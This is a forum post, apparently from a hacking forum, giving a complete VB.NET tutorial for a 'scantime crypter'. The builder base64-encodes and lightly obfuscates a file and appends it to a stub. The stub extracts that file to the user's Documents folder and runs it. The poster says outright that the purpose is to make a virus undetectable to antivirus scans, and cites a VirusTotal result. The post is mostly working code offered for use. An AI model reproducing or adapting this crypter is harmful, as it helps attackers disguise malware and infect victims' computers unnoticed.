Apr 18, 2015 03:47 PM
(This post was last modified: Apr 18, 2015 03:48 PM by xeinebiu.)
Hi guys ...
I created this thread to learn something together about creating a ScanTime Crypter . Scantime crypters are not very helpful because they are Undetectable just in scanning time but if it start to run the virus it will be detected ...
Stub Scan Results
Hope it will help someone ...
I created this thread to learn something together about creating a ScanTime Crypter . Scantime crypters are not very helpful because they are Undetectable just in scanning time but if it start to run the virus it will be detected ...
- Open Project
- Add 2 Open File Dialogs
- Add Button1 ( will use this button to open our file which we want to crypt )
In this Button add this Code
CodePrivate Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
OpenFileDialog1.ShowDialog()
End Sub - Add Button2 ( will use this button to open the stub )
CodePrivate Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
OpenFileDialog2.ShowDialog()
End Sub - Add this function
CodePublic Function crp(file As String)
Try
Dim filesbytes As Byte() = IO.File.ReadAllBytes(file) ' Reads binary from file
Dim base64x As String = Convert.ToBase64String(filesbytes) 'Bytes get converted to base64 string
Dim modifiedbase64 As String = base64x.Replace("A", "$")
Return modifiedbase64
Catch ex As Exception
End Try
End Function - Add Button3
The Button3 will be used to crypt our file
CodePrivate Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
Try
SaveFileDialog1.ShowDialog()
IO.File.Copy(OpenFileDialog2.FileName, SaveFileDialog1.FileName)
' this will get the name and the extension of our file ( you can use any method you want for filename
Dim filename As String = IO.Path.GetFileName(OpenFileDialog1.FileName)
'This code will help us for splitting our code
Dim sep As String = "#tutorial#" ' you can write your own text
'the content we will write to the stb ...
Dim content As String = sep & crp(OpenFileDialog1.FileName) & sep & filename
'writtes our file into stb ...
IO.File.AppendAllText(SaveFileDialog1.FileName, content)
MsgBox("done")
Catch ex As Exception
End Try
End Sub - Open New Project ( STUB )
- In Form Load Event add this code
CodePrivate Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
'you can choose your desired location
Dim LOL As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
'will read all text of stub
Dim bintext As String = IO.File.ReadAllText(Application.ExecutablePath)
'will split the bintext
Dim sep() As String = Split(bintext, "#tutorial#")
'get the string we have written in stub
Dim base6 As String = sep(1)
'write the original bytes
IO.File.WriteAllBytes(LOL & "\" & sep(2), Convert.FromBase64String(base6.Replace("$", "A")))
'start process
Process.Start(LOL & "\" & sep(2)) 'sep(2) is the filename
'close after all these codes are executed
Me.Close()
Catch ex As Exception
End Try
End Sub - Done
Stub Scan Results
Quote:https://www.virustotal.com/en/file/189ac...429396695/
Hope it will help someone ...



![[Image: bitcoin.png]](https://hackforums.net/uploads/awards/bitcoin.png)